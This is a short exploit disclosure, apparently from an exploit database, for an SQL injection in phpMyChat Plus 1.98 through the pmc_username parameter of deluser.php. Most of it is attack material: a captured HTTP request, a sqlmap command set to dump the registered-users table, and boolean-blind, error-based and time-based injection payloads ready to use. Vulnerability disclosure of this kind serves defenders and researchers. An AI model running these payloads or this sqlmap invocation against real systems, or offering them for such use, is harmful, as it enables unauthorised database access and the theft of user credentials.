phpMyChat Plus 1.98 SQL Injection

Credit: J3rryBl4nks
Risk: Medium
Local: No
Remote: Yes

# Title: phpMyChat Plus 1.98 - 'pmc_username' SQL Injection # Date: 2020-02-13 # Exploit Author: J3rryBl4nks # Vendor Homepage: # Software Link: # Version MyChat Plus 1.98 # Tested on Windows 10/Kali Rolling # The phpMyChat Plus 1.98 application is vulnerable to Sql Injection # (Boolean based blind, Error-based, time-based blind) on the deluser.php page # through the pmc_user parameter. # POC code: # Capture the request through Burpsuite: POST /plus/deluser.php HTTP/1.1 Host: HOSTNAME User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://HOSTNAME/plus/deluser.php Content-Type: application/x-www-form-urlencoded Content-Length: 77 Connection: close Cookie: CookieLang=english; temp=temp; CookieUsername=testing; CookieRoom=Public%2BRoom%2B1; CookieRoomType=1; CookieStatus=r; PHPSESSID=0srffkdt9nu2jis443pp9nh3i9 Upgrade-Insecure-Requests: 1 L=english&Link=&LIMIT=0&pmc_username=test&pmc_password=test&login_form=Log+In # Then use sqlmap to get the user tables: sqlmap -r deleteuserlogin.req --level=5 --risk=3 --dbms=mysql --tamper=unmagicquotes -D DBNAME --dump -T c_reg_users -p pmc_username Parameter: pmc_username (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: L=english&Link=&LIMIT=0&pmc_username=test' AND 9736=(SELECT (CASE WHEN (9736=9736) THEN 9736 ELSE (SELECT 2847 UNION SELECT 9983) END))-- qEHq&pmc_password=test&login_form=Log In Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: L=english&Link=&LIMIT=0&pmc_username=test' OR (SELECT 7708 FROM(SELECT COUNT(*),CONCAT(0x7170627a71,(SELECT (ELT(7708=7708,1))),0x7162627a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ShDx&pmc_password=test&login_form=Log In Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: L=english&Link=&LIMIT=0&pmc_username=test' AND (SELECT 5588 FROM (SELECT(SLEEP(5)))wWnk)-- FHPh&pmc_password=test&login_form=Log In

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